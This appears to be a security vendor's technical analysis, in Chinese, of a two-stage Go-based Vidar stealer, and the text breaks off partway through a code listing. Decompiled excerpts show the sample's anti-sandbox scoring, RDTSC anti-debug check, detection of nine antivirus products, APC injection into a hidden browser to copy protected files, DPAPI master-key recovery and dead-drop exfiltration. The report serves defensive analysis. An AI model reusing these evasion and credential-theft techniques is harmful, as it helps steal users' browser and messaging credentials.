首页
社区
课程
招聘
[原创]盗签伪装 内存匿踪│Go语言双层窃密木马攻击分析
发表于: 1小时前 39

[原创]盗签伪装 内存匿踪│Go语言双层窃密木马攻击分析

1小时前
39

摘要

近日,火绒安全实验室捕获一款窃密木马。该样本的攻击链可划分为五个阶段,即解包、门控、采集、外传与二级投放。内层程序在通过计分制环境检测与计时反调试机制的门控检查后,提取浏览器凭据、Cookie、历史记录、表单数据及即时通讯工具的会话密钥,并还原主密钥。外传阶段采用dead-drop中继结合base64表单上传的方式实现。在 Loader模式下,可下载并执行二级载荷,主机侧仅留存一处装机标记,未设置开机自启机制。凭据清理须在主机重置前优先完成,二级载荷的排查应与凭据处置同步进行。

第一阶段文件为木马外壳,以Go语言编译并经garble实施重度混淆。该外壳使用被盗用的代码签名进行签名,并嵌入大量混淆字符串,以规避杀毒软件检测。第一阶段文件执行完毕后,将第二阶段文件写入磁盘并执行。第二阶段文件内嵌加密字节,经自定义加密算法解密后,在内存中反射加载Payload。由于其配置指纹与公开已知的Vidar家族 v1.5版本特征高度相似,可研判为Vidar木马。该家族主要针对失陷主机的浏览器及即时通讯软件实施窃密行为,它们通常依托钓鱼邮件附件、破解软件安装包、非官方资源下载站、伪装成系统工具/游戏辅助的恶意链接等渠道扩散,普通用户在下载盗版程序、接收陌生邮件附件、浏览非正规资源站点时都可能意外接触。一旦感染主机,可造成账号凭据、浏览记录、通讯信息等核心隐私泄露,还可通过二级载荷植入更多恶意程序,对个人数据安全与系统稳定构成严重威胁。

目前,火绒安全产品已经实现对该木马的拦截与查杀。

查杀图


1. 样本总览

1.1 威胁画像

该样本属于Vidar窃密器家族v1.5,配置指纹与公开已知版本逐字节一致,以MaaS(商品化恶意软件即服务)模式分发。样本采用Go语言编译,经garble混淆工具处理,附带CN=alamy.com被盗代码签名,嵌入噪声字符串诱饵降低自动化分类系统识别优先级;投递为本地自包含形式,Stage-2载荷内嵌于外层文件,无需联网即可在受感染主机解包。

核心载荷链为Stage-1至Stage-2单向递进:外层dropper完成控制流平坦化、三条反射式API解析路径反分析准备后,用自研字节变换算法解密内嵌密文块,在内存中反射加载内层窃密组件;内层通过计分制环境检测、计时反调试门控后,采集浏览器凭据、Cookie、历史记录、表单文件及Telegram会话密钥,还原浏览器DPAPI主密钥,通过dead-drop中继上传数据,Loader模式下可下载执行二级载荷。

控制模式为中继上线,三个端点中两个寄生于telegram、steam社区公开页面,一个为直连IP。窃取后的数据采用HTTP POST表单传输,传输内容仅使用base64编码、无二次加密,表达分割符由内置算法进行随机。主机侧无开机自启,仅写入`TS_`+卷序列号的注册表装机标记,进程退出或系统重启后丧失驻留能力。整体攻击链路图如下所示:


1.2 攻击链结构

样本由两层构成:外层为本地自包含dropper/反射加载器,内层为解密后在内存运行的可执行窃密组件。攻击链按“引导→解密→加载→门控→采集→外传→投放/退出”顺序推进,外层负责解包,内层负责凭据窃取与二级载荷投放,全程无需出网即可完成第二阶段落地,对应外层自包含解包、内层内存执行的两层结构:外层通过自研字节变换算法还原内层可执行镜像,完成首字节校验后映射至内存并移交控制权;内层获得权限后,依次实施环境门控、凭据采集、中继外传及二级载荷投放,任务完成或收到终止指令后退出,全程不在磁盘留存第二阶段文件。

图 1-1:两层攻击链总览(示意图)


1.3 样本信息

样本外层与内层的文件身份对应关系如下:外层携带加密载荷,并在内存中完成内层的解密与加载;内层的解密结果不会写回磁盘,因此仅能由外层派生,无法反向重构外层。

表1:外层与内层文件身份对照

2. 外层加载器

2.1 外观伪装与签名异常

外壳文件并携带一份被盗用的代码签名(主题 CN=alamy.com)。签名详情见图2-1所示:

由于使用了来自第三方的合法 Authenticode 证书,且证书内容与二进制本身并不一致,因此该证书呈“无法验证”状态。然而,这种伪装手段在样本早期阶段可利用被盗签名绕过依赖签名白名单的安全环境,从而为其争取运行信任与存活窗口。


2.2 混淆字符串与控制流平坦化

入口函数 `main.main` 以 map 赋值的方式写入 10 条噪声字符串,并在同一函数内执行配对删除操作;该键值不参与任何后续控制流,其唯一用途是在反编译输出中制造噪声。被调函数统计结果显示,mapassign 与 syscall 的比例为 119 比 1,真实系统调用被大量噪声调用所掩盖。控制流平坦化将顺序执行的逻辑改写为循环内的多分支分发结构,不透明谓词则通过浮点垃圾运算构造,进一步削弱了反编译的可读性。该混淆机制的目的并非改变功能,而是延长分析周期、使自动化反编译与行为提取失效;混淆完成后,外层开始解析真实能力所需的 API。详情参见代码清单-1。

代码清单- 1:噪声字符串写入与同函数配对删除

// 程序: 外层 Go 加载器(dropper)
// 函数: main.main @ 0x14007BCA0
// 作用: 以 map 赋值写入噪声字符串诱饵,随即同函数内配对删除
// 说明: 共写入 6 条化学/水处理噪声字符串;键写入后按迭代配对删除,不参与任何后续控制流
func main_main(void)
{
    /* 写入 6 条噪声字符串诱饵(节选 3 条,其余同模式): */
    runtime::runtime_mapassign_faststr(&map_string_bool___Map_type,local_98,"ANTISCALANT",0xb);
    runtime::runtime_mapassign_faststr(&map_string_bool___Map_type,local_98,"NAOCL_INTAKE",0xc);
    runtime::runtime_mapassign_faststr(&map_string_bool___Map_type,local_98,"CO2_REMINERAL",0xd);
    /* …(SBS_DECHLOR、FERRIC_COAG、CAUSTIC_PH 同模式写入)… */
      if (local_68[1] == 0) {  // 成对键删除分支
        runtime::runtime_mapdelete_faststr(&map_string_bool___Map_type,local_98,*local_68,0);  // 删除诱饵键
      }
      runtime::runtime_mapIterNext(&local_68);  // 推进迭代器
}


2.3 多路径反射式 API 解析

为绕过基于静态导入表的检测与用户态EDR拦截,外壳程序采用三条互补的动态API解析路径。该机制可避免所需调用的导出函数出现在导入表中,从而降低被安全软件静态检测的风险。样本既通过Go反射机制解析进程地址,也通过显式加载模块获取导出函数,更直接以系统调用指令陷入内核;其中,直接系统调用的服务号在运行时计算,不写死在静态结构中。三条路径互为冗余:即使其中一条被挂钩或监控,其余路径仍可完成能力加载。

代码清单 2:三条反射式解析路径的原始调用位

// 程序: 外层加载器(Go PE)
// 函数: 模式一 main.bxejiqepekxllsq / 模式二 main.jvzpoop / 模式三 main.main
// 作用: 三条互补路径分别以反射机制、显式取导出与直接系统调用解析 API,均绕过静态导入表
// 说明: 静态导入表仅 9 个反射/注入 API;运行时窗口内解析出 38 个唯一 API 名称
// 模式一:Go 反射 LazyProc 解析地址,绕过导入表检测(main.bxejiqepekxllsq @ 0x1400AB8C0)
void main::main_bxejiqepekxllsq(undefined8 param_1,undefined8 param_2)
{
  syscall::syscall___LazyProc__Find((syscall_LazyProc *)main_dvpdkaelxlp);  // Go 反射解析 API 地址,避开静态导入
  /* 解析失败则 runtime_gopanic 退出(返回值非零分支) */
}
// 模式二:显式加载模块并按名取导出,补充导入缺失函数(main.jvzpoop @ 0x140095BC0)
void main::main_jvzpoop(int param_1,uint param_2,undefined8 param_3,undefined8 param_4,
                       undefined8 param_5)
{
  syscall::syscall_LoadLibrary();  // 显式加载目标模块
  syscall::syscall_GetProcAddress();  // 按名取导出地址
}
// 模式三:直接系统调用,服务号由运行时计算,绕过 ntdll 用户态挂钩(main.main @ 0x14007BCA0)
void main_main(void)
{
      local_1560 = (int)local_19a0 + (uint)*(dword *)(local_1488 + 2);  // 运行时拼装系统调用服务号,避免硬编码
      /* …(local_1560 赋值与消费在源函数中相距约 450 行,节选)… */
      syscall::syscall_Syscall(local_1560,1,2,3,4);  // 以动态服务号直接陷入内核,不经过 ntdll
}


具体解析途径三条路径比如表3-1所示:

表3-1:三条动态 API 解析路径对比


外层完成反分析与API解析准备后,进入Stage-2交接阶段:首先会自定位文件体内嵌的密文块,然后通过自研字节变换算法进行解密,并在内存中完成PE映射与控制权移交。


2.4 自定义变换解密

外层PE在文件偏移 0xFE8F0 处内嵌 0x55E00(351,744 字节)加密载荷,熵值 7.0–7.96。排除 Go 运行时结构(行号表、类型元数据)后,确认该区间为加密数据,且与后续块拷贝指令匹配,表明第二阶段载荷完整嵌入,无需外部获取即可在内存中重建。堆内存中解密使用0x17182 作为密钥然后在堆上解密出PE文件。由于是动态解密,通过静态分析手段几乎不可见,解密产物的结构与校验结果表3-2。


表 3-2:解密产物校验

由于该变换为非公开加密算法,通用解包工具与依赖密文特征码的检测规则均无法在此层识别内层载荷,进一步提高了样本的检测难度。


2.5 解密PE内存反射加载

解密产物经解析确认为一个 PE32+ 镜像,其关键头结构与加载方式如下表所示。入口点 RVA 为 0x28864、镜像尺寸 SizeOfImage 为 0x4D7000、时间戳指向 2026-04-01、链接器版本 14.44,整体特征指向内存态窃密组件。镜像尺寸与入口点的组合表明其为完整可加载的 PE 而非碎片数据,详细信息见表3-3。


表3-3:内层 PE 关键结构

该表显示内层镜像仅依赖 KERNEL32 与 CRYPT32 两个系统模块导入(分别为 61 项与 1 项),其余能力在运行时解析,导入面极度收敛。CRYPT32 的唯一导入为 CryptUnprotectData,后续用于凭据主密钥还原。结合磁盘侧不产生第二阶段文件的内存加载形态,可确认其为反射加载的内存态组件,而非落盘的可执行文件。下图3-1展示外层文件中的密文块与解密后产物的内存布局关系。

图 3-1:内嵌密文块与解密产物布局(示意图)


解密产物在内存中完成首字校验(0x5A4D)与映射后,从入口点 RVA 0x28864 接管执行,整个过程不落盘。磁盘扫描无法获取第二阶段样本,EDR 与内存取证需面向进程地址空间侧检测,方能在该层捕获内层组件。因此,内存镜像 dump 与进程行为监控是捕获内层组件的有效手段,单纯磁盘侧扫描会遗漏该第二阶段。


3. 加密与反检测实现

3.1 反沙箱检测

Stage2在窃取数据之前执行一套环境检测流程,会依据累计得分决定是否触发真实行为。检查范围涵盖用户名、计算机名、CPU核心数、内存容量、磁盘信息、模块加载情况、进程环境块(PEB)标志、计时、运行时长及反病毒环境等共计11项,满分为9分,通过阈值为6分。未达到阈值时,样本即调用终止接口退出自身进程,从而使自动化分析环境难以观察到后续的窃取行为。

代码清单 5:计分阈值与失败终止路径

// 程序: 内层窃密器(内存态 PE)// 函数: 环境检查例程 FUN_14000FED0 @ 0x14000FED0// 作用: 累计 11 项环境检查得分,未达阈值 6 则记录失败并终止自身// 说明: 满分 9、通过阈值 6;计时判定差值上限 0x7a120(500,000 周期)反制单步调试与指令级插桩void FUN_14000fed0(void)
{/* 累计得分记录与阈值分支(uVar18 为累计得分): */
      FUN_14000e3e8(1,&DAT_14007b070,uVar18);  // 记录得分
      if (uVar18 < 6) {
        if (DAT_14007b0b8 == 0) {
          FUN_140001364(&DAT_140047495,0x20,&DAT_14004c2ac,&DAT_14007b098);
          DAT_14007b0b8 = 1;
        }
        FUN_14000e3e8(2,&DAT_14007b098);
        FUN_14001ca10(0);
      }/* 计时判定分支——100 次 RDTSC 取差值,与 0x7a121 比较(差值上限 0x7a120): */
      t0 = rdtsc();  // 起始时间戳
      do { i = i + 1; } while (i < 100);  // 100 次空转
      t1 = rdtsc();  // 结束时间戳
      diff = t1 - t0;  // 取差值
      delta = (int)t1 - (int)t0;
      if (diff < 0x7a121) {  // 差值低于阈值(正常执行)
        if (DAT_14007adf0 == 0) {  // 惰性初始化低差值日志
          FUN_140001364(&DAT_14004726a,0x18,&DAT_14004bf3c,&DAT_14007add8);
          DAT_14007adf0 = 1;
        }
        FUN_14000e3e8(1,&DAT_14007add8,delta);
      }
      else {  // 差值超阈值(单步/插桩放大取指开销)
        if (DAT_14007ae14 == 0) {  // 惰性初始化高差值日志
          FUN_140001364(&DAT_140047282,0x1a,&DAT_14004bf68,&DAT_14007adf8);
          DAT_14007ae14 = 1;
        }
        FUN_14000e3e8(1,&DAT_14007adf8,delta);
      }
}

计时判定以100次RDTSC(CPU 时间戳计数指令)取差值,阈值常量0x7a120(500,000 周期)。单步调试与指令级插桩会显著放大取指开销,使差值超过该阈值并计入失败分支,从而压低总分、触发自终止,这是对动态分析手段的直接反制。该反制意味着以指令级插桩为支撑的分析方案会自我暴露,强化门控对受控执行环境的识别能力。


3.2 安全软件检测

Stage-2通过遍历进程名称并进行比对,以及遍历模块信息,以识别反病毒产品,并将命中结果按位缓存为一张位图。与计分门控机制不同,当命中特定安全软件家族时,样本不会终止进程,而是跳过对应的采集条目,以此收敛行为特征,降低被检测的概率。

代码清单 6:AV 位测试助手、缓存写入与调用点

// 程序: 内层窃密器(内存态 PE)
// 函数: FUN_1400305EC(位测试)/ FUN_140030180(缓存写入)/ FUN_140041770(消费点)
// 作用: 按位读取 AV 命中缓存;命中 Avast 位跳过采集条目而非终止
// 说明: 位图由进程检测与模块检测结果按位聚合;哨兵 0xFFFFFFFF 表示未计算;4 个调用点测 0x1/0x4/0x1/0x2
// 位定义: Avast=0x1, AVG=0x80, ESET=0x2, TrendMicro=0x4, Kaspersky=0x8,
// Defender=0x10, Bitdefender=0x20, Norton=0x40, Malwarebytes=0x100
/* 位测试助手(FUN_1400305EC)全文: */
bool FUN_1400305ec(uint param_1)

{
uint uVar1;

uVar1 = FUN_1400300c8(); // 读取 AV 位图缓存
return (param_1 & uVar1) != 0; // 按位测试家族位
}
/* 缓存写入(FUN_140030180)核心——进程检测与模块检测结果按位聚合: */
uint FUN_140030180(void)
{
uVar1 = FUN_140030a10(); // 取进程检测位图
uVar2 = FUN_1400307a0(); // 取模块检测位图
uVar1 = uVar1 | uVar2; // 按位或合并
DAT_140056100 = uVar1; // 写回聚合位图
}
/* FUN_140041770 内两个消费点——TrendMicro 位与 Avast 位: */
bool FUN_140041770(longlong param_1)
{
DAT_1404d23d8 = FUN_1400305ec(4); // 测试 TrendMicro 位
iVar5 = FUN_1400305ec(1); // 测试 Avast 位
}

位测试助手共有 4 个调用点,分别消费 Avast 位、TrendMicro 位与 ESET 位:目标规划器与地址 0x140041D8E 消费 Avast 位,地址 0x140041B75 消费 TrendMicro 位,环境检查例程消费 ESET 位。位图惰性缓存,初始哨兵 0xFFFFFFFF 表示该项尚未计算。AVG 命中单独置位 0x80,已定位的 4 个调用点均未测试该位。下表列出 9 个家族与对应位值的命中语义。


表:九个 AV 家族与消费位


跳过语义使样本在部署特定反病毒产品的主机上有选择地收敛行为:命中 Avast 时仅放弃对应采集条目并继续运行,采集到的行为因此不完整。这意味着仅凭该类主机的运行结果会低估样本的真实能力,完整能力须在干净分析环境独立评估。


3.3 操作日志加密

内层对所有内部操作日志采用AES-256-GCM算法进行加密,随后执行本地存储或对外传输,使得内存取证与流量监测均无法直接获取运行日志的明文内容。加密密钥来源于样本内置的64位十六进制配置令牌,经解码为32字节后,应用于全部加密过程。具体项目如表4-2所示:


表 4-2:加密日志分析

4. 凭据窃取

4.1 目标文件搜索

接下来,程序将以%APPDATA%与%LOCALAPPDATA%作为用户数据的根目录,并结合运行时下发的浏览器目录名称,按profile规划采集目标。目标文件名存储于包含22个槽位的指针表中,经ChaCha变体算法(采用DJB原始旋转常量16/20/24/25,而非RFC 8439标准)解密后,去重得到17个项目,覆盖凭据、Cookie、历史记录与表单数据四类。目标浏览器在两个体系间的分布情况如下。

表:17 类目标浏览器分布

表中文件名由解密串直接提供;浏览器根目录名未在样本中硬编码,而是由服务端于运行时注入,静态字符串列表无法覆盖所有目标。规划器据此按三类分支遍历各浏览器的 profile 子目录。代码清单 7 展示了规划器的类型分支与 Avast 跳过的原始实现。

代码清单 7:目标规划器的类型分支与 Avast 跳过门

// 程序: 内存态窃密器
// 函数: 目标规划器 FUN_14001849C @ 0x14001849C
// 作用: 按配置条目类型遍历浏览器目录并构建目标队列;Avast 位命中时跳过该条目
// 说明: 配置条目步长 0x288、类型字段 +0x284;目标记录步长 0x324;指针表解密去重为 17 项目标
bool FUN_14001849c(longlong param_1)
{
/* 解密串 0x140048072(长度 6)为 "Avast";
0x140048078(长度 0x26)为含 "пропущен (Avast AV)" 的跳过日志格式串 */
if (*(int *)(lVar19 + 0x284) != 1) { // 跳过类型字段为 1 的条目(类型 1 在另一循环处理)
iVar3 = FUN_1400305ec(1); // 读取 Avast 命中位(0x1)
if (iVar3 != 0) { // 若 Avast 位已命中
if (DAT_14007bf6c == 0) { // 首次则惰性初始化 "Avast" 名称串
FUN_140001364(&DAT_140048072,6,&DAT_14004df60,&DAT_14007bf64);
DAT_14007bf6c = 1;
}
iVar3 = FUN_14002eca8(lVar19,&DAT_14007bf64); // 比对当前条目名是否为 "Avast"
if (iVar3 != 0) { // 条目名命中 "Avast"
FUN_14000e3e8(2,&DAT_14007bf70,&DAT_140055034,lVar19,&DAT_14005503c); // 记录跳过日志
goto LAB_140019169; // 跳过该条目,不再构建目标
}
}
if (*(int *)(lVar19 + 0x284) == 2) { // 处理类型字段为 2 的条目
iVar3 = FUN_140029c30(); // 取浏览器根目录路径
if (iVar3 != 0) { // 根目录可用
/* 装配路径 → 枚举 profile 子目录 → 按步长 0x324 逐条入队目标记录 */
FUN_14002f834(local_7c8,0x104,local_378,lVar19 + 0x40); // 装配路径
lVar8 = FUN_14001eb10(local_7c8,&local_538); // 枚举首个文件
if (lVar8 != -1) { // 遍历目录
do {
if ((((byte)local_538.dwFileAttributes & 0x10) != 0) && // 仅处理目录项
(local_538.cFileName[0] != '.')) {
/* 按子路径表逐项构建目标:写入路径、附加参数、格式化记录(步长 0x324) */
*(int *)(puVar14 + 0x19408) = *(int *)(puVar14 + 0x19408) + 1; // 入队计数 +1
}
iVar3 = FUN_14001ede8(lVar8,&local_538); // 取下一文件
} while (iVar3 != 0);
FUN_14001ea80(lVar8); // 关闭句柄
if (0 < *(int *)(puVar14 + 0x19408)) { // 若已入队
FUN_14000e3e8(1,&DAT_14007bf50,lVar7,*(undefined4 *)(puVar14 + 0x19408)); // 记录目标数
puVar14 = puVar14 + 0x19420; // 推进目标记录槽
}
}
}
else { // 非类型 2
iVar3 = FUN_140029db0(local_378,0x104); // 取另一根目录
if (iVar3 != 0) goto LAB_140018e9e; // 回跳重试
}
}
}
}

规划器按配置条目的类型字段(+0x284)选择遍历分支;Avast 位命中时解密条目名比对并直接跳过该条目,不以终止方式响应;目标记录以固定步长 0x324 逐条入队。由于浏览器目录名由服务端在运行时下发,静态路径与文件名清单无法覆盖该枚举面,检测应针对 profile 目录的批量枚举与固定步长的目标队列构建行为特征。目标队列构建完成后,进入受保护文件的拷出阶段。


4.2 受保护文件解锁

对于需要借助浏览器上下文方可读取的文件,内层载荷会启动一个隐藏的挂起浏览器进程,并利用其进程地址空间完成拷贝操作,从而使文件访问行为归属于合法浏览器进程。当目标数据库被浏览器进程独占锁定时,则转而采用句柄复制路径进行读取。代码清单8展示了无头浏览器创建及异步过程调用注入的拷出实现:

代码清单 8:无头浏览器创建与 APC 注入拷出

// 程序: 内存态窃密器
// 函数: 文件拷出例程 FUN_1400168E0 @ 0x1400168E0
// 作用: 借挂起浏览器进程上下文拷贝受保护文件
// 说明: 命令行模板与 CopyFileA 名称由解密串给出;APC 目标例程经 GetProcAddress 解析;记录步长 0x324
int FUN_1400168e0(undefined8 param_1,undefined8 param_2,LPCVOID param_3,ulonglong param_4)
{
/* 解密无头浏览器命令行模板(96 字节)并装配命令行: */
FUN_140001364(&DAT_140047faa,0x60,&DAT_14004dda8,&DAT_14007be50); // 解密 0x60 字节的无头浏览器命令行模板串
FUN_14002f618(local_438,0x400,&DAT_14007be50,param_1); // 将模板与 param_1 拼接装配为完整命令行,存入 local_438
BVar1 = CreateProcessA((LPCSTR)0x0,local_438,(LPSECURITY_ATTRIBUTES)0x0,(LPSECURITY_ATTRIBUTES)0x0 // 创建浏览器进程,参数为 local_438 命令行
,0,0x8000004,(LPVOID)0x0,(LPCSTR)0x0,&local_708,&local_758); // 0x8000004=CREATE_NO_WINDOW|CREATE_SUSPENDED,隐藏且挂起拉起进程
/* 解密 CopyFileA 名称并解析例程地址,按目标记录步长 0x324 逐个注入拷出: */
hModule = GetModuleHandleA(&DAT_14007bc70); // 取内核模块句柄(其名由解密串给出)
pFVar5 = GetProcAddress(hModule,&DAT_14007beb8); // 按解密名解析 CopyFileA 例程地址
pvVar8 = param_3; // pvVar8 指向目标记录数组首条
for (uVar7 = param_4; uVar7 != 0; uVar7 = uVar7 - 1) { // 遍历全部目标记录(共 param_4 条)
iVar2 = FUN_14002f6f8(pvVar8); // 取源文件名长度(pvVar8 偏移 0)
iVar3 = FUN_14002f6f8((longlong)pvVar8 + 0x104); // 取目标文件名长度(pvVar8 偏移 0x104)
local_738 = (SIZE_T)(iVar2 + 1); // 源串长度+1 作为分配/写入大小
lpBaseAddress =
VirtualAllocEx((HANDLE)CONCAT71(local_758.hProcess._1_7_,local_758.hProcess._0_1_),
(LPVOID)0x0,local_738,0x3000,4); // 分配源路径内存(0x3000=MEM_COMMIT|MEM_RESERVE,4=PAGE_READWRITE)
lpBaseAddress_00 =
VirtualAllocEx((HANDLE)CONCAT71(local_758.hProcess._1_7_,local_758.hProcess._0_1_),
(LPVOID)0x0,(longlong)(iVar3 + 1),0x3000,4); // 分配目标路径内存
if ((lpBaseAddress != (LPVOID)0x0) && (lpBaseAddress_00 != (LPVOID)0x0)) { // 分配成功才注入
WriteProcessMemory((HANDLE)CONCAT71(local_758.hProcess._1_7_,local_758.hProcess._0_1_),
lpBaseAddress,pvVar8,local_738,(SIZE_T *)0x0); // 写入源路径
WriteProcessMemory((HANDLE)CONCAT71(local_758.hProcess._1_7_,local_758.hProcess._0_1_),
lpBaseAddress_00,(LPCVOID)((longlong)pvVar8 + 0x104),
(longlong)(iVar3 + 1),(SIZE_T *)0x0); // 写入目标路径
} // 分配失败则跳过
(*DAT_14007c120)(local_758.hThread,pFVar5,lpBaseAddress,lpBaseAddress_00,0); // 向浏览器线程队列 APC
pvVar8 = (LPCVOID)((longlong)pvVar8 + 0x324); // 推进到下一条
} // 结束遍历
}

文件读取保护操作于浏览器进程上下文中完成,在文件系统与进程树侧呈现的操作主体均为合法浏览器进程。目标文件经独占锁定后,通过句柄复制路径进行读取,两条访问路径均未经过窃密器自身进程身份。该设计使行为表现为常规操作模式,从而规避安全软件的告警触发。


4.3 主密钥还原与会话凭据窃取

浏览器本地状态文件中所定位的主密钥标记受Windows数据保护接口(DPAPI)保护,若需窃取则必须通过系统接口将其还原为明文;同时需定位Telegram会话的本地认证密钥文件。代码清单9展示了标记搜索与DPAPI还原的具体实现。


代码清单 9:主密钥标记与 DPAPI 还原

// 程序: 内存态窃密器
// 函数: DPAPI 还原例程 FUN_140042C0C @ 0x140042C0C
// 作用: 提取并还原浏览器主密钥为明文
// 说明: 密文定位后校验 DPAPI/APPB 前缀;两次解密尝试(flags 0/1);明文长度上限 0x40
bool FUN_140042c0c(undefined8 param_1,undefined8 param_2,uint *param_3){
/* 系统内仅导入 CRYPT32 的 CryptUnprotectData 一项,印证该还原能力 */
local_878[0].pbData = local_848 + lVar9; // 指向密文主体
local_878[0].cbData = iVar4 - (int)lVar9; // 密文长度
local_888.pbData = (BYTE *)0x0; // 输出缓冲置空
BVar6 = CryptUnprotectData(local_878,(LPWSTR *)0x0,(DATA_BLOB *)0x0,(PVOID)0x0, // 第一次 DPAPI 解密
(CRYPTPROTECT_PROMPTSTRUCT *)0x0,0,&local_888); // 调用 CryptUnprotectData
if ((BVar6 != 0) || // 首次成功
(BVar6 = CryptUnprotectData(local_878,(LPWSTR *)0x0,(DATA_BLOB *)0x0,(PVOID)0x0, // 以 flag=1 再尝试
(CRYPTPROTECT_PROMPTSTRUCT *)0x0,1,&local_888), BVar6 != 0)) { // 第二次失败则跳过
uVar2 = local_888.cbData; // 取明文长度
if (0x40 < local_888.cbData) { // 超上限则截断
uVar2 = 0x40; // 上限 0x40
}
FUN_140025180(param_2,local_888.pbData,uVar2); // 回传主密钥明文
} // 结束 DPAPI 解密成功分支
}

记录 5-2 列出Telegram会话目标与本次观察的边界。

主密钥还原与会话凭据窃取完成后,全部凭据已落入采集范围,Stage-2进入外传控制阶段。


5. 窃取数据传输与二级Payload释放

凭据采集完成后,Stage-2进入外传通道:以dead-drop中继托管端点地址,经按哈希解析的WinHTTP API质地,然后上传窃取结果;同时按注册顺序全量执行八项功能,并在 Loader模式下下载、校验并隐藏执行二级载荷。

5.1 dead-drop 中继与外传协议

内层组件把外传地址以16字节固定密钥逐字节异或后存放于数据区,运行时逐条解码并按表内顺序尝试投递。所用的dead-drop中继把下一跳投递地址托管在公开平台页面、运行时取回,解出的三个中继点由一个直连IP与两个合法社交平台用户页面构成(端点表与密钥体的内存布局见代码清单10)。


表:三个外传中继点

异或存放使静态字节层不可读。寄生端点托管真实地址于合法平台页面,更换只需改动页面内容;中继点按表序循环重试直至成功。 中继地址如图4-1所示:

图4-1 steam中继上线


外传配置于解密串层携带五项配置指纹,具体包括:32位十六进制僵尸网络标识702ef1b4007f07887e9faaee0667b50b、版本标识1.5、上表死页地址、固定标记串m1m1y6,以及完整用户代理Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0。上述五项指纹与公开威胁情报中Vidar家族已知配置逐字节完全一致。家族字面名在两层样本的原始字节中均未出现,全部指纹均位于加密串层;内层家族与版本据此与Vidar v1.5的已知配置特征匹配。关键调用代码详见清单-10。


代码清单 10:WinHTTP 按哈希解析与边界串生成

// 程序: 内层内存组件
// 函数: 0x1400057D0(导出解析)、0x14002A394(边界串生成)
// 作用: 解析 WinHTTP 导出并以 multipart/form-data POST 外传采集结果
// 说明: 12 个导出按名称哈希解析,第 13 个在 0x140011BA0 独立解析;正文仅经 base64
// 外传端点表:起点 0x140055122,条目跨距 0x243,16 字节密钥体 0x1400550B0(逐字节异或存放)
// 默认 User-Agent 为 Mozilla/5.0,并存 Firefox/140.0(macOS)标识
/* 导出解析(FUN_1400057D0)——12 个 WinHTTP 导出按名称哈希解析,结果存入 DAT_140076bXX: */
undefined8 FUN_1400057d0(void)
{
uVar3 = FUN_140023c30(&DAT_140076728); // 解析导出哈希
DAT_140076bd0 = FUN_140024514(lVar5,uVar3); // 取函数指针
uVar3 = FUN_140023c30(&DAT_140076738);
DAT_140076bd8 = FUN_140024514(lVar5,uVar3);
uVar3 = FUN_140023c30(&DAT_140076748);
DAT_140076be0 = FUN_140024514(lVar5,uVar3);
/* …(第 4–11 个导出同模式解析,存入 DAT_140076be8–DAT_140076c20)… */
uVar3 = FUN_140023c30(&DAT_140076820); // 第 12 个导出
DAT_140076c28 = FUN_140024514(lVar5,uVar3);
}
/* 边界串生成(FUN_14002A394)全文——rdtsc 播种的 xorshift32: */
void FUN_14002a394(void)

{
undefined8 uVar1; // 局部:暂存 rdtsc 读取的 64 位时间戳
uint uVar2; // 局部:xorshift32 运算的 32 位状态

if (DAT_14007f9d0 == 0) { // 若全局随机种子尚未初始化
uVar1 = rdtsc(); // 以 rdtsc 读取 CPU 时间戳计数作为种子
DAT_14007f9d0 = (uint)uVar1; // 取低 32 位保存为种子
}
uVar2 = DAT_14007f9d0 << 0xd ^ DAT_14007f9d0; // xorshift32 第 1 步:左移 13 位异或自身
uVar2 = uVar2 >> 0x11 ^ uVar2; // xorshift32 第 2 步:右移 17 位异或
DAT_14007f9d0 = uVar2 << 5 ^ uVar2; // xorshift32 第 3 步:左移 5 位异或并更新种子
return; // 返回(生成结果保留于 DAT_14007f9d0)
}

POST表单正文仅进行base64编码,传输通道本身未施加二次加密:具备传输层解密能力的中间节点可直接还原被窃数据,其边界字符串形态与字段名build_id、file_data共同构成有效的流量侧识别特征。请求默认采用Mozilla/5.0标识,样本中同时存在另一条Firefox/140.0(macOS)标识,可用于同情报侧配置进行比对。此情形对客户端的直接影响在于:若任一中间节点恢复通信可达,则凭证及会话数据将以明文可还原的形式流出主机。


5.2 数据窃取能力

内层全部功能挂在字符串模式名到处理函数的注册表上,注册表位于未初始化数据段0x1400765A0,条目为0x18字节三元组,包含模式名指针、处理函数指针与附加参数,条目计数上限为0xC。初始化例程0x14000218C解出8个模式串后,经由写入器0x140001438逐条登记,分发器0x14001303C遍历整表并逐个调用,返回成功计数。它按注册顺序执行全部内容,无需等待服务端逐条下发指令,单次运行即可完成侦察、采集密钥与文件、扫描、截屏、外传、二级投放全流程。该样本没有以数字命令编号为索引的跳转表,完全以字符串作为模式匹配的键,因此针对命令号的检测规则对该家族无效。当处理函数运行成功且附加参数非零时,会经0x140012E20发起对应模式的后续请求,下文将说明注册表构造、分发流程和两项典型采集能力。详情见代码清单-11。


代码清单 11:模式注册表与分发器

// 程序: 内层内存组件// 函数: 0x14000218C(注册初始化)、0x14001303C(分发器)、0x14002DBA0(指纹采集)// 作用: 以字符串模式名驱动 8 项功能并按注册顺序全部执行// 说明: 注册表 @0x1400765A0,条目 0x18 字节,上限 0xC;无数字命令编号跳转表/* 注册初始化(FUN_14000218C)——前 3 条登记,模式串与处理函数成对写入: */
void FUN_14000218c(int param_1)
{
  FUN_140001438(&DAT_140056290,FUN_140003e00,0);  // 登记模式名串与处理函数
  FUN_140001438(&DAT_1400562a0,FUN_140003a3c,0);  // 登记模式名串与处理函数
  FUN_140001438(&DAT_1400562ac,FUN_140003878,0);  // 登记模式名串与处理函数
  FUN_140001438(&DAT_1400562b8,FUN_140003780,&DAT_140046218);  // 登记模式名串与处理函数
  FUN_140001438(&DAT_1400562c4,FUN_140003968,&DAT_14004621c);  // 登记模式名串与处理函数
  FUN_140001438(&DAT_1400562d0,FUN_140003b2c,0);  // 登记模式名串与处理函数
  FUN_140001438(&DAT_1400562dc,FUN_140003ecc,0);  // 登记模式名串与处理函数
  FUN_140001438(&DAT_1400562e8,FUN_140003d54,0);  // 登记模式名串与处理函数
}/* 分发器(FUN_14001303C)——按注册顺序逐条调用并累计成功数: */int FUN_14001303c(undefined8 param_1,longlong param_2,ulonglong param_3)
{
        iVar4 = (*(code *)*plVar9)(param_1);  // 调用当前注册表条目的处理函数
        if (iVar4 == 0) {  // 处理函数返回 0
          if (DAT_14007b324 == 0) {  // 失败日志未初始化
